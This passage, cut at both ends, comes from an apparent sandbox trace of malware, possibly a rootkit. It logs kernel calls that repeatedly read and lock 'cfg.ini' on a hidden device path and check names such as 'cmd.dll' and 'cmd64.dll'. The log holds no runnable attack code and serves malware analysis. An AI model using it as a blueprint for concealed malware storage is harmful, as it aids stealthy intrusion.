CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.945] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd6a0 [0121.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.945] KeLeaveCriticalRegion () [0121.945] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.945] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.945] KeEnterCriticalRegion () [0121.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.945] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.945] KeLeaveCriticalRegion () [0121.945] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.945] KeEnterCriticalRegion () [0121.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.945] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.945] IdePortDispatch () returned 0x103 [0121.945] KeWaitForMutexObject () returned 0x0 [0121.945] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.945] KeLeaveCriticalRegion () [0121.945] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.945] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.945] KeEnterCriticalRegion () [0121.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.945] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfb000 [0121.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.946] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.946] IdePortDispatch () returned 0x103 [0121.946] KeWaitForMutexObject () returned 0x0 [0121.946] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.946] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.946] IdePortDispatch () returned 0x103 [0121.946] KeWaitForMutexObject () returned 0x0 [0121.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.946] KeLeaveCriticalRegion () [0121.946] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.947] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.947] KeEnterCriticalRegion () [0121.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.947] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.947] KeLeaveCriticalRegion () [0121.947] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.947] KeEnterCriticalRegion () [0121.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.947] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.947] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2360, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.947] KeLeaveCriticalRegion () [0121.947] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.947] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.947] KeEnterCriticalRegion () [0121.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.947] ExFreePoolWithTag (P=0xfffffa8003bbd6a0, Tag=0x0) [0121.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.947] KeLeaveCriticalRegion () [0121.947] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.947] ReleaseMutex (hMutex=0xf0) returned 1 [0121.947] Sleep (dwMilliseconds=0x124f80) [0121.962] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.962] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.962] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.962] KeEnterCriticalRegion () [0121.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.962] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.962] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.962] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.962] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.962] IdePortDispatch () returned 0x103 [0121.962] KeWaitForMutexObject () returned 0x0 [0121.962] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.962] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.962] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.962] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.962] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.962] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be20e0 [0121.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.962] KeLeaveCriticalRegion () [0121.962] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.962] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.962] KeEnterCriticalRegion () [0121.962] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.962] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.962] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.963] KeLeaveCriticalRegion () [0121.963] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.963] KeEnterCriticalRegion () [0121.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.963] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.963] IdePortDispatch () returned 0x103 [0121.963] KeWaitForMutexObject () returned 0x0 [0121.963] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.963] KeLeaveCriticalRegion () [0121.963] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.963] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.963] KeEnterCriticalRegion () [0121.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.963] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c00000 [0121.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.963] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.963] IdePortDispatch () returned 0x103 [0121.963] KeWaitForMutexObject () returned 0x0 [0121.963] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.963] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.963] IdePortDispatch () returned 0x103 [0121.964] KeWaitForMutexObject () returned 0x0 [0121.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.964] KeLeaveCriticalRegion () [0121.964] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.964] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.964] KeEnterCriticalRegion () [0121.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.964] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.964] KeLeaveCriticalRegion () [0121.964] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.964] KeEnterCriticalRegion () [0121.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.964] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.964] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc98b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.964] KeLeaveCriticalRegion () [0121.964] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.964] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.965] KeEnterCriticalRegion () [0121.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.965] ExFreePoolWithTag (P=0xfffffa8003be20e0, Tag=0x0) [0121.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.965] KeLeaveCriticalRegion () [0121.965] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.965] ReleaseMutex (hMutex=0xf0) returned 1 [0121.965] Sleep (dwMilliseconds=0x124f80) [0121.979] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.979] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.979] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.979] KeEnterCriticalRegion () [0121.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.979] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.979] IdePortDispatch () returned 0x103 [0121.979] KeWaitForMutexObject () returned 0x0 [0121.979] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.979] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.980] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.980] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.980] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.980] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbea90 [0121.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.980] KeLeaveCriticalRegion () [0121.980] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.980] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.980] KeEnterCriticalRegion () [0121.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.980] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.980] KeLeaveCriticalRegion () [0121.980] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.980] KeEnterCriticalRegion () [0121.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.980] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.980] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.980] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.980] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.980] IdePortDispatch () returned 0x103 [0121.980] KeWaitForMutexObject () returned 0x0 [0121.980] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.980] KeLeaveCriticalRegion () [0121.980] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.980] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.980] KeEnterCriticalRegion () [0121.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.980] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c05000 [0121.980] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.980] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.980] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.980] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.980] IdePortDispatch () returned 0x103 [0121.981] KeWaitForMutexObject () returned 0x0 [0121.981] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.981] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.981] IdePortDispatch () returned 0x103 [0121.981] KeWaitForMutexObject () returned 0x0 [0121.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.981] KeLeaveCriticalRegion () [0121.981] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.981] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.982] KeEnterCriticalRegion () [0121.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.982] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.982] KeLeaveCriticalRegion () [0121.982] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.982] KeEnterCriticalRegion () [0121.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.982] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.982] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.982] KeLeaveCriticalRegion () [0121.982] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.982] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.982] KeEnterCriticalRegion () [0121.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.982] ExFreePoolWithTag (P=0xfffffa8003bbea90, Tag=0x0) [0121.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.982] KeLeaveCriticalRegion () [0121.982] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.982] ReleaseMutex (hMutex=0xf0) returned 1 [0121.982] Sleep (dwMilliseconds=0x124f80) [0121.984] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.989] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.989] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.989] KeEnterCriticalRegion () [0121.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.989] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.989] IdePortDispatch () returned 0x103 [0121.989] KeWaitForMutexObject () returned 0x0 [0121.989] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.989] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.989] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.989] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.989] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.989] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbea90 [0121.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.989] KeLeaveCriticalRegion () [0121.989] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.989] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.989] KeEnterCriticalRegion () [0121.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.989] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.990] KeLeaveCriticalRegion () [0121.990] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.990] KeEnterCriticalRegion () [0121.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.990] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.990] IdePortDispatch () returned 0x103 [0121.990] KeWaitForMutexObject () returned 0x0 [0121.990] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.990] KeLeaveCriticalRegion () [0121.990] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.990] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.990] KeEnterCriticalRegion () [0121.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.990] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c08000 [0121.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 